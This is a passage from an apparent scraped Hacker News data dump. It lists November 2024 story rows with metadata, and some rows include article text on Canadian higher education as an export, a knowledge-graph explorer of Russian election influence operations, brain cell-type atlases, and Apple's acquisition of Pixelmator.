Apple acquires companies on a regular basis, but it’s rare that acquisitions are ever publicly announced like this. One of the more recent examples of a move like this is when Apple acquired Dark Sky in 2020. Apple also acquired Workflow in 2017 ahead of the launch of Shortcuts.
Add 9to5Mac to your Google News feed.
FTC: We use income earning auto affiliate links. More. | 2024-11-08T13:54:45 | en | train |
42,018,085 | paulpauper | 2024-11-01T15:42:18 | null | null | null | 1 | null | [
42018095
] | null | true | null | null | null | null | null | null | null | train |
42,018,100 | hrowpt | 2024-11-01T15:43:12 | null | null | null | 1 | null | null | null | true | null | null | null | null | null | null | null | train |
42,018,105 | dcu | 2024-11-01T15:43:21 | null | null | null | 1 | null | null | null | true | null | null | null | null | null | null | null | train |
42,018,107 | paulpauper | 2024-11-01T15:43:46 | Canadians should think of higher education as an export industry | null | https://josephheath.substack.com/p/canadians-should-think-of-higher | 2 | 0 | null | null | null | no_error | Canadians should think of higher education as an export industry | 2024-04-18T00:43:41+00:00 | Joseph Heath | I need everyone to bear with me for a moment, because what I’m about to say makes perfect sense, but it sounds funny when you first hear it. In the short term, the influx of foreign students into our higher education system is creating all sorts of hardship for Canadians. This has led the government to intervene (in my view appropriately), in order to restore some semblance of order to the file. At the same time, it is important to ask ourselves – beyond the short-term objective of restoring order – what the long-term goal of policy in this area should be (so that we can, as the Great One put it, skate to where the puck will be).Thesis statement: In the long term, our goal should be to sell higher education to as many foreign students as we feasibly can. Why? Because it is a high value-added export sector. Specializing in this area is a great way to move the Canadian economy away from our traditional role as “hewers of wood and drawers of water,” and to avoid the pitfalls of economic globalization. Universities generate a huge amount of high-quality white-collar employment, as well as creating opportunities for regional development that are otherwise difficult to achieve.Let me back up and explain a few things. First, most people do not think of international student enrollment at the University of British Columbia or George Brown College as an export product, because the goods don’t actually leave the country. But of course, from an economic perspective it doesn’t matter whether we move the goods to the foreigners or the foreigners to the goods. What matters is that, by selling things that are made in Canada, by Canadian workers, to foreigners, we earn foreign currency. This foreign currency is what then allows us to go out and buy things that are made by foreign workers.To get the overall picture, it is worth taking a stroll through an Apple Store (at the high end) or a Dollar Store (at the low end), keeping in mind that absolutely none of this stuff is made in Canada, it is 100% imported. Then ask yourself “how do we pay for all this?” The non-economist’s answer is to say “with money.” That’s incorrect, because although you can pay for your dollar store purchases with Canadian money, the Chinese manufacturers who actually make the merchandise have to be paid in Chinese renminbi, and so somewhere in the chain that flows from your payment at the cash register to the reimbursement of the person who made the goods, money must be converted from Canadian dollars to Chinese renminbi. This means that some foreigner has to be willing to buy Canadian dollars.The important thing to realize about Canadian dollars is that while they’re very useful to those of us who live in this country (because we can use them to pay for groceries, entertainment, our taxes, etc.), they are significantly less useful to foreigners (who cannot use them to pay for their groceries, entertainment, taxes, etc.) They can only be used to buy Canadian goods (or other currencies, but ignore that since it just pushes the problem back one step). This is why Canada, like every country, needs an export sector – we need goods that we can sell to foreigners. Exports are how we pay for imports.Ideally, what you want is to have some sectors in which Canadians are much better at producing things than foreigners are, relatively speaking, so we can make a lot of the stuff that we’re good at producing, to sell it abroad, and then stop making the stuff that we’re bad at producing, and import it instead. So when you think about Canada’s place in the global economy, you need to look at the country as a whole and think “what are we really good at making?” And in order to think strategically about it, you need to look at the future, at the direction of the global economy, and think “what could we be really good at making?”Taking a quick look at the current profile of Canadian exports, it’s not difficult to spot the problem (although if you follow the link and scroll down a bit you can find “service trade” which is not quite as disconcerting):There’s a reason that the Canadian dollar is considered a “petrocurrency.” A lot of people (myself included) would like to see that “crude petroleum” box become a lot smaller. To which a critic might reasonably respond, “okay smart guy, if it’s not going to be petroleum, then what else are Canadians going to produce, to sell to foreigners?” Anyone who worries about climate change should spend at least a bit of time thinking about this question.Part of the answer could be education. What if we were the country that everyone in the world wanted to send their children to for a high-status post-secondary education? Would that not be a great niche to occupy in the global economy? This is something that the U.K. figured out a while back. The French have a lock on the global luxury handbag market. So the British decided to get a lock on the global luxury education market – leverage the Hogwarts fantasy, along with the generally high quality of British schooling, into comparative advantage in higher education.Canada unfortunately does not have the cultural capital that the U.K. enjoys. What we do have, however, is significant experience at preserving quality while exploiting scale economies in higher education (something that upper-end British and the American universities are terrible at). My back-of-the-envelope calculation says that the University of Toronto took in $1.5 billion from foreign student fees this past academic year. That’s not enough to register on the chart above, but at the same time, it’s not chump change, and that’s just one university.Canada has one other significant advantage in this sector, which arises as a consequence of domestic multiculturalism. Foreign students who come to North American universities sometimes complain about social isolation, a problem that, somewhat paradoxically, winds up getting worse as the number of foreign students increases. In particular, if there are too many students from China, they may find it easier just to socialize with one another, because it’s less awkward than trying to make small talk in English. As the number of foreign students increases, this self-isolation becomes more viable, which in turn deprives these students of the Western university experience they are looking for. In Canada, however, first and second generation immigrant students act as a social solvent, especially when they are fluently bilingual, so we get much better integration among students.That’s how things look from a long-term, strategic perspective. The current situation is obviously very far from the ideal, in part because much of what we have been selling to foreigners, in the higher education sector, is not actually the education, but rather a Canadian work visa and path to Canadian citizenship. This was, I suspect, an unexpected consequence of an otherwise reasonable policy, which was to stop kicking students out of the country the day after they graduate. But things obviously got out of hand, in part because of poor coordination between the provinces (who run education) and the federal government (which runs immigration). This needs to be fixed, so that what we’re selling is just the education.I should mention as well that the idea of charging foreigners top dollar for a Canadian university education (at UofT we charge international students $61,720 per year for a basic Arts program, versus $6,910 for Canadians) rubs some people the wrong way politically, because they think that the low rate for Canadians is due to there being something objectionable about the principle of market pricing for higher education. This can be taken to imply that non-Canadians should pay low rates as well. I think it makes more sense to see the subsidy paid by Canadian taxpayers to university students as a way of achieving certain goals in Canadian society (such as increased social mobility), which does not justify subsidizing foreign students. Foreign states trying to achieve similar goals in their own societies are free to subsidize their own students, as China often does, but there is no reason for us to be subsidizing them.One final point, which is that the education file has intersected with the housing file in a really unfortunate way. A lot of colleges, and some universities, have brought in thousands of students without thinking too hard, or taking much responsibility, for the effects this will have on the local rental market. Housing supply is, of course, elastic in the long run – assuming we get development and zoning policy right – and so again this is more an issue of medium-term adjustment. The only observation I would make is that, with all the clamping down on foreign buyers in the Canadian housing market, it is important to keep in mind that housing can also be an export. If we can make millions of dollars selling overpriced condos or suburban homes to foreigners (or if universities can charge foreign students to live in residence), that’s also a great way to earn foreign currency. We just have to get the policy right, so that catering to the export market does not price out or displace younger Canadians trying to enter the housing market. | 2024-11-08T01:49:08 | en | train |
42,018,119 | mahin | 2024-11-01T15:44:40 | Show HN: Hacker News Explorer – Chrome extension to personalize HN stories | The HN frontpage can feature stories that aren't that relevant to me, and some good ones don't get enough traction on the new submissions page. So I thought of building something that personalizes the stories you see.<p>This is done by getting the 500 newest and top stories and comparing them against your likes, building your own personalized homepage.<p>Also, when I find something I like, I usually want to explore similar stuff. So I created embeddings for 500k historical stories (all above 20 points) and added a 'similar' button that shows you the closest stories.<p>I thought of making this a web app, but I wanted something that integrated as seamlessly as possible with HN, so I decided on a browser extension.<p>I would love your feedback! | https://hackernewsexplorer.com/ | 9 | 2 | [
42018868
] | null | null | null | null | null | null | null | null | null | train |
42,018,127 | roseway4 | 2024-11-01T15:45:43 | Show HN: Exploring Russian Election Interference with Graphiti | Hi HN, we're Jack and Daniel from Zep. We've built a visual exploration tool and AI assistant for analyzing Russian election interference in the run-up to next week's US elections.<p>The Explorer uses Graphiti, Zep's open-source temporal Knowledge Graph library. Graphiti autonomously creates dynamic, temporally-aware knowledge graphs representing complex, evolving relationships between entities.<p>To offer users a detailed view of Russian state operations and related topics, we populated the graph with over 50+ sources. These include US DOJ indictments, research by US and foreign governments, research by non-governmental organizations, and media articles.<p>Using the graph, you can explore which US organizations and individuals are implicated in these efforts and learn how private entities (such as OpenAI, Meta, and others) have responded.<p>Two operations stand out in this dataset: Doppelganger and Tenet Media.<p>- Doppelganger: A campaign that used AI-generated content and fake accounts to spread anti-Ukraine propaganda and influence Western public opinion.<p>- Tenet Media: a media company secretly funded by RT (Russian state television), paid popular American influencers to create pro-Russian content across social media platforms.<p>The Doppelganger operation's multinational scope required us to draw from both US and European sources to capture its full impact. For Tenet Media, we used diverse sources, ranging from federal government reports to Variety magazine's industry coverage, to detail the company's collapse and its broader implications for the media landscape.<p>To build the app quickly, we used FastHTML and LangGraph, a fun combination. The linked article explains how we built the Explorer and some of the challenges we faced, particularly around ingesting data.<p>Explorer: <a href="https://russia-elections24.getzep.com/">https://russia-elections24.getzep.com/</a><p>How we built it: <a href="https://blog.getzep.com/russian-influence-operations-graph/#building-the-explorer">https://blog.getzep.com/russian-influence-operations-graph/#...</a><p>We've spent hours delving into the data. We hope you find it as fascinating as we did.<p>Let us know what you think! | https://blog.getzep.com/russian-influence-operations-graph/ | 9 | 1 | [
42030512
] | null | null | no_error | Exploring Russian Election Interference with a Knowledge Graph | 2024-11-01T15:24:18.000Z | Daniel Chalef |
Featured
We built a visual exploration tool and AI assistant for analyzing Russian interference in the run-up to the 2024 US elections.
💡Try the following:1. Zoom into the graph using your mouse scroll wheel.2. Hover over a node and read its summary.3. Hover over an edge to read the fact derived from the relationship between adjacent nodes.4. Click on a red Episodic node to read the article from which the related nodes and edges were extracted. Graphiti is an open-source Knowledge Graph library at the core of Zep's memory layer for AI agents. Graphiti autonomously builds dynamic, temporally-aware knowledge graphs representing complex, evolving relationships between entities. In the run-up to next week's US election, we've used Graphiti to power our Russian Influence Operations Explorer: a knowledge graph visualization and related Q&A bot for exploring Russian state operations to influence US election outcomes.💡Graphiti helps you create and query Knowledge Graphs that evolve over time. A knowledge graph is a network of interconnected facts, such as “Kendra loves Adidas shoes.” Each fact is a “triplet” represented by two entities, or nodes (”Kendra”, “Adidas shoes”), and their relationship, or edge (”loves”).We built the graph using a range of sources, including US DOJ indictments, US and foreign government research, non-governmental organization research, and media articles, to offer users a detailed view of these operations. Using our graph, you can explore which US organizations and individuals are implicated in these efforts and learn how private entities (such as OpenAI, Meta, and others) have responded to these challenges.Two operations stand out in this dataset: Doppelganger and Tenet Media. The Doppelganger operation's multinational scope required us to draw from both US and European sources to capture its full impact. For Tenet Media, we used diverse sources, ranging from federal government reports to Variety magazine's industry coverage, to illuminate the company's collapse and its broader implications for the media landscape.
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How the Explorer worksGraphiti ingests data as a series of episodes, with a single data artifact constituting an episode. Nodes extracted from an episode's data will have an edge relationship with the Episodic node (marked in the graph in red). In our implementation of Graphiti, the red nodes include a reference to the source article or paper. Click on one to see where the graph entities came from!Let's walk through an example research task. We want to explore the Russian state's use of sock puppet media and non-profit groups and ask the assistant how Russia uses these. Following a second or two of research, the assistant focuses the graph on relevant nodes and edges, and responds with a summary.Exploring Russian Sock Puppet Media SitesWe notice an interesting organization, the Patriots Run Project, and zoom in.Exploring the graph, we see that the fake social media accounts used in Patriots Run Project operation were acquired from entities or individuals in Bangladesh.We asked the assistant for more information and learned that Russia was using the project to influence US conservatives. Sources are important. The assistant will provide a list of sources used to answer your question. We currently provide the top 5 sources, but all sources for nodes or edges in the graph are available by clicking on a related red episodic node.
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Next StepsVisit the Explorer Application.Read more about Graphiti.BibliographyThis project uses the sources listed below. They were selected based on their authority and diversity, and were available online as of Monday, October 28, 2024. (UPDATED 11/04/2024).Government Agencies
Joint ODNI, FBI, and CISA Statement on Russian Election Influence Efforts (November 1, 2024)
Department of Justice - U.S. v. Kalashnikov and Afanasyeva Indictment
FBI & CISA IC3 - Just So You Know: Foreign Threat Actors Likely to Use a Variety of Tactics to Develop and Spread Disinformation During 2024 U.S. General Election Cycle
Justice Department - U.S. Citizens and Russian Intelligence Officers Charged with Conspiring to Use U.S. Citizens as Illegal Agents of the Russian Government
Joint ODNI, FBI, and CISA Statement (October 25, 2024)
National Intelligence Council - Foreign Threats To US Elections After the Voting Ends in 2024
Treasury - Treasury Takes Action as Part of a U.S. Government Response to Russia's Foreign Malign Influence Operations
Treasury - Russia-related Designations; Issuance of Russia-related General Licenses and Amended FAQ; Publication of BPI Regulatory Amendment; Reminder to File the 2024 Annual Report of Blocked Property
USMC - The Matryoshka Doll: A Model for Russian Deception, Disinformation, and Chaos
French Government VIGINUM - Matriochka Report
German Federal Office for the Protection of the Constitution - Doppelgänger Analysis
Non-Governmental Entities
Atlantic Council - Experts react: The US just accused Russia of meddling in the 2024 election. Here's what to know.
CEPA - We're Winning, Say Russia's Fake News Manufacturers
Correctiv - Inside Doppelganger – How Russia uses EU companies for its propaganda
DFRLab - Russia-based Facebook operation targeted Europe with anti-Ukraine messaging
DFRLab - Russia-linked operations target Paris 2024 Olympics
DisinfoLab - Doppelganger: Media clones serving Russian propaganda
Meta - Second Quarter 2024 Adversarial Threat Report
Google Cloud - Hybrid Russian Espionage and Influence Campaign Aims to Compromise Ukrainian Military Recruits and Deliver Anti-Mobilization Narratives
HarfangLab - Doppelganger Operations: Europe & US
Logically Facts - Inside the indictment alleging secret Russian funding of U.S. content company
Media Matters - Rumble repeatedly promoted as "editor picks" content from Tenet Media, a channel allegedly funded by the Russian government
Microsoft - How Russia is Trying to Disrupt the 2024 Paris Olympic Games
Microsoft - MTAC Election Report on Russian Influence
OpenAI - Disrupting deceptive uses of AI by covert influence operations
OpenAI - AI and Covert Influence Operations: Latest Trends
Qurium - How Russia uses EU companies for propaganda
Media Organizations
Angry White Men - BlazeTV Host Lauren Chen Defends Claims That Jews 'Killed Jesus' And 'Control' The Media
BBC News - Right-wing US influencers say they were victims of alleged Russian plot
CNN - DOJ alleges Russia funded US media company linked to right-wing social media stars
CNN - How some of the biggest right-wing social media stars became unwitting mouthpieces of Russian propaganda
Forbes - YouTube Takes Down Alleged Russia-Funded Outlet Which Hosted Videos From Right-Wing Pundits
Foreign Policy - Russia's Global Information Operations Have Grown Up
Guardian - US conservative influencers say they are 'victims' of Russian disinformation campaign
Mother Jones - Tenet Media Shutters After Being Accused of Taking $10 Million in Covert Kremlin Funding
NPR - How Russian operatives covertly hired U.S. influencers to create viral videos
Semafor - Blaze fires contributor linked to alleged Russian operation
Social Media Today - Meta Bans Russian State Media in the Wake of Covert Influence Program
Tech Policy Press - Russian Indictments Highlight US Limitations in Fighting Disinformation
Tennessean - What to know about Tenet Media, Tennessee company linked to Russian propagandists
USA Today - Lara Trump, Kari Lake, other notable Republicans appeared on podcasts accused of Russia tie
Variety - U.S. Officials Allege Russian Operatives Illegally Provided $10 Million to Fund Videos by American Right-Wing Social Media Stars
Washington Post - Justice Dept. charges two Russian media operatives in alleged scheme
Washington Post - How I became a propagandist for Russian media
Washington Post - Inside Tenet Media, the pro-Trump ‘supergroup’ allegedly funded by Russia
Wired - Right-Wing Influencer Network Tenet Media Allegedly Spread Russian Disinformation
Wired - What Right-Wing Influencers Actually Said in Those Tenet Media Videos
Yahoo News - What to know about Tenet Media, Tennessee company linked to Russian propagandists
The Hill - DOJ Shines a Light on Russian Use of Conservative Influencers
CBS News - U.S. Says Russia Funded Media Company That Paid Right-Wing Influencers Millions for Videos
New York Times - OpenAI Says Russia and China Used Its AI in Covert Campaigns
New York Times - U.S. Accuses Russian TV Network of Conducting Covert Intelligence Acts
New York Times - Meta and YouTube Crack Down on Russian Media Outlets
New York Times - How the Kremlin Finds Ways to Spread Its Messages
NBC News - How Elon Musk amplified content from a suspected Russian election interference plot
Politico - Why the Kremlin Loves Social Media
Archive Links
Web Archive - Tenet Media Website Archive
| 2024-11-08T07:17:54 | en | train |
42,018,132 | zdw | 2024-11-01T15:46:19 | Porting ioquake3 from SDL2 to SDL3 [video] | null | https://www.youtube.com/watch?v=i3yVqWYFbCE | 1 | 0 | [
42018242
] | null | null | null | null | null | null | null | null | null | train |
42,018,147 | rnjailamba | 2024-11-01T15:47:21 | Questions I'll Never Answer | null | https://aghostinthefigures.com/questions-ill-never-answer/ | 1 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,018,148 | feross | 2024-11-01T15:47:21 | Links for November 2024 | null | https://www.astralcodexten.com/p/links-for-november-2024 | 1 | 0 | [
42018207
] | null | null | null | null | null | null | null | null | null | train |
42,018,160 | paulpauper | 2024-11-01T15:48:35 | Cryonics Is Free | null | https://www.lesswrong.com/posts/WE65pBLQvNk3h3Dnr/cryonics-is-free | 2 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,018,170 | drc500free | 2024-11-01T15:49:13 | Why Entitlement Wins | null | https://coldwaters.substack.com/p/why-entitlement-wins | 1 | 1 | [
42018611
] | null | null | null | null | null | null | null | null | null | train |
42,018,171 | caonidaye | 2024-11-01T15:49:17 | Boeing dismantles diversity department, Bloomberg News reports | null | https://www.nbcnews.com/nbc-out/out-news/boeing-dismantles-diversity-department-bloomberg-news-reports-rcna178296 | 7 | 0 | [
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42018236
] | null | null | null | null | null | null | null | null | null | train |
42,018,182 | paulpauper | 2024-11-01T15:50:09 | Rich kid memes and the online culture of the 1 percent | null | https://substack.com/home/post/p-149292300 | 4 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,018,192 | simonebrunozzi | 2024-11-01T15:50:42 | Does Mouse Utopia Exist? (2021) | null | https://gwern.net/mouse-utopia | 3 | 0 | [
42018419
] | null | null | null | null | null | null | null | null | null | train |
42,018,193 | willemlaurentz | 2024-11-01T15:50:43 | Servicing a robot vacuum cleaner (2019) | null | https://willem.com/blog/2019-03-20_servicing-a-robot-vacuum-cleaner/ | 43 | 24 | [
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] | null | null | null | null | null | null | null | null | null | train |
42,018,239 | AdmiralAsshat | 2024-11-01T15:55:47 | Jack Dorsey hits Tidal with another mass layoff | null | https://fortune.com/2024/10/30/jack-dorsey-layoffs-streaming-music-app-tidal-block-leaked-email/ | 4 | 1 | [
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42,018,247 | bookofjoe | 2024-11-01T15:56:28 | ADHD should not be treated as a disorder | null | https://www.economist.com/leaders/2024/10/30/adhd-should-not-be-treated-as-a-disorder | 23 | 8 | [
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42,018,250 | subscript8260 | 2024-11-01T15:56:38 | null | null | null | 1 | null | [
42018251
] | null | true | null | null | null | null | null | null | null | train |
42,018,256 | ceejayoz | 2024-11-01T15:56:59 | AI overwhelmingly prefers white male candidates in test of resume-screening bias | null | https://www.geekwire.com/2024/ai-overwhelmingly-prefers-white-and-male-job-candidates-in-new-test-of-resume-screening-bias/ | 5 | 1 | [
42018294,
42018449,
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42,018,258 | Mobil1 | 2024-11-01T15:57:04 | null | null | null | 1 | null | null | null | true | null | null | null | null | null | null | null | train |
42,018,274 | sunkcostisalie | 2024-11-01T15:58:36 | Over 500 Amazon workers decry "non-data-driven" logic for 5-day RTO policy | null | https://arstechnica.com/tech-policy/2024/10/over-500-amazon-workers-decry-non-data-driven-logic-for-5-day-rto-policy/ | 6 | 0 | [
42018435
] | null | null | null | null | null | null | null | null | null | train |
42,018,275 | rootdevelop | 2024-11-01T15:58:38 | null | null | null | 1 | null | null | null | true | null | null | null | null | null | null | null | train |
42,018,282 | belter | 2024-11-01T15:59:01 | How to inspect TLS encrypted traffic | null | https://blog.apnic.net/2024/10/14/how-to-inspect-tls-encrypted-traffic/ | 14 | 0 | [
42018401
] | null | null | null | null | null | null | null | null | null | train |
42,018,315 | feross | 2024-11-01T16:01:38 | MicroStrategy Has Stock to Sell | null | https://www.bloomberg.com/opinion/articles/2024-10-31/microstrategy-has-stock-to-sell | 1 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,018,322 | Hooke | 2024-11-01T16:02:36 | What's so special about the human brain? | null | https://www.nature.com/immersive/d41586-024-03425-y/index.html | 3 | 0 | null | null | null | no_error | What's so special about the human brain? | null | By Kerri SmithInfographics by Nik Spencer |
Looking at brain cells closely has shown some interesting patterns. Over the past five years, techniques that enable scientists to catalogue the genes expressed in a single cell have been revealing the many different types of cell that make up a brain — at a level of detail much higher than anything achieved before.
Last year, a team based at the Allen Institute for Brain Science in Seattle, Washington, reported the most-comprehensive atlases yet of cell types in both the mouse and human brain. As part of an international effort called the BRAIN Initiative Cell Census Network (BICCN), researchers catalogued the whole mouse brain, finding 5,300 cell types2; the human atlas is unfinished but so far includes more than 3,300 types from 100 locations3; researchers expect to find many more.
Some regions do have distinct cell types — for instance, the human visual cortex contained several types of neuron that were exclusive to that area4. But in general, human-specific cell types are rare.
The overall impression, when comparing the cell types of the human brain with other species, is one of similarity. “I was expecting bigger differences,” says Ed Lein, a neuroscientist at the Allen Institute, who is involved in efforts to catalogue cells in human, mouse and other brains. “The basic cellular architecture is remarkably conserved until you get down to the finer details”, he says.
Most human brain regions differ from primates and mice in the relative proportions of cell types that appear5, and in the ways those cells express their genes: it's not the ingredients that are different, but the recipe.
Take these two comparable regions of the human and mouse cortex, which both process auditory information. The mouse area contains a higher proportion of excitatory neurons, which propagate signals, relative to inhibitory neurons, which dampen activity. The human region had a much greater proportion of non-neuronal cells, such as astrocytes, oligodendrocytes and microglia. These cells support neurons and also help to prune and refine their connections during development. The ratio of these cells to neurons was five times that of mice.
| 2024-11-08T13:12:34 | en | train |
42,018,341 | eatonphil | 2024-11-01T16:04:42 | Why pg_dump Is Amazing | null | http://rhaas.blogspot.com/2024/11/why-pgdump-is-amazing.html | 6 | 0 | [
42018429
] | null | null | null | null | null | null | null | null | null | train |
42,018,344 | samclemens | 2024-11-01T16:05:14 | Journalists and the "Origin Story" of Working from Home | null | https://www.saturdayeveningpost.com/2024/10/how-computers-became-portable-journalists-and-the-origin-story-of-working-from-home/ | 1 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,018,353 | presbyterian | 2024-11-01T16:05:52 | Apple Is Acquiring Pixelmator | null | https://www.theverge.com/2024/11/1/24285443/apple-pixelmator-acquisition-image-editing | 5 | 1 | [
42022586
] | null | null | no_error | Apple is acquiring the popular image editing app Pixelmator | 2024-11-01T16:02:46.345Z | null | Apple is acquiring the popular image editing app Pixelmator / Pixelmator says there will be ‘no material changes’ to its Mac and iOS apps at this time.By Emma Roth, a news writer who covers the streaming wars, consumer tech, crypto, social media, and much more. Previously, she was a writer and editor at MUO. Nov 1, 2024, 4:02 PM UTCShare this storyImage: PixelmatorApple has agreed to acquire Pixelmator, a popular image editing app available on Mac and iOS. Pixelmator announced the news in a post on its blog, saying it will now “have the ability to reach an even wider audience and make an even bigger impact on the lives of creative people around the world.” Pixelmator issued the following statement about the acquisition (emphasis ours):Pixelmator has signed an agreement to be acquired by Apple, subject to regulatory approval. There will be no material changes to the Pixelmator Pro, Pixelmator for iOS, and Photomator apps at this time. Stay tuned for exciting updates to come.No details about the deal were revealed except that it is still pending, subject to regulatory approval of Apple buying the Lithuanian company. That can be tricky, though — while Microsoft successfully swallowed up Activision Blizzard, deals that melted under regulatory pressure include Nvidia and Arm, Amazon and iRobot, and more recently, Adobe and Figma.After Apple acquired the popular weather app Dark Sky in 2020, it shut down the app in 2022 and integrated its tech with the first-party weather app. Still, other software packages acquired by Apple, like Final Cut and Logic Pro, remain available many years after they were bought.Over the years, Pixelmator Pro has become a viable and far cheaper alternative to Adobe Photoshop, as it’s available for a one-time payment of $49.99. It offers a robust suite of tools for editing and retouching photos, creating designs, drawing, and more. The app most recent update reworked its masking process and added the ability to hide an image’s background with AI.Most PopularMost PopularNYT tech workers are making their own games while on strikeDid OpenAI just spend more than $10 million on a URL?Nintendo’s next generation is off to a great startApple Mac Mini M4 review: a tiny wonderApple MacBook Pro M4 review: the Pro for everyone | 2024-11-08T00:01:40 | en | train |
42,018,357 | stevewillbe | 2024-11-01T16:06:00 | Show HN: Trackly – Change Detection for Business | Track website changes that impact your business
Get clear alerts when web pages change. Maintain a history of tracked pages. Customize frequency, keywords and page section to get the notifications you need. | https://trackly.io/ | 1 | 0 | null | null | null | missing_parsing | Trackly: Website change detection, monitoring and alerts for business | null | null |
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| 2024-11-08T17:28:53 | null | train |
42,018,364 | sounddetective | 2024-11-01T16:06:40 | YC Generative Pulse – Substack | null | https://generativeaipulse.substack.com/p/yc-generative-ai-pulse-3 | 3 | 1 | [
42018365,
42018409
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42,018,366 | mailyk | 2024-11-01T16:07:05 | null | null | null | 1 | null | [
42018368
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42,018,410 | null | 2024-11-01T16:11:10 | null | null | null | null | null | null | [
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42,018,412 | jbernardo95 | 2024-11-01T16:11:24 | Apple is buying 20 percent of its iPhone satellite services partner | null | https://www.theverge.com/2024/11/1/24285347/apple-globalstar-investment-expansion-emergency-sos-satellite | 5 | 2 | [
42018427,
42018424
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42,018,437 | sandwichsphinx | 2024-11-01T16:13:23 | Era of Cognitive Systems: An Inside Look at IBM Watson and How It Works (2012) [pdf] | null | https://www.redbooks.ibm.com/redpapers/pdfs/redp4955.pdf | 3 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,018,440 | OSINTTeam | 2024-11-01T16:13:26 | null | null | null | 1 | null | [
42018441
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42,018,442 | impish9208 | 2024-11-01T16:13:26 | null | null | null | 1 | null | null | null | true | null | null | null | null | null | null | null | train |
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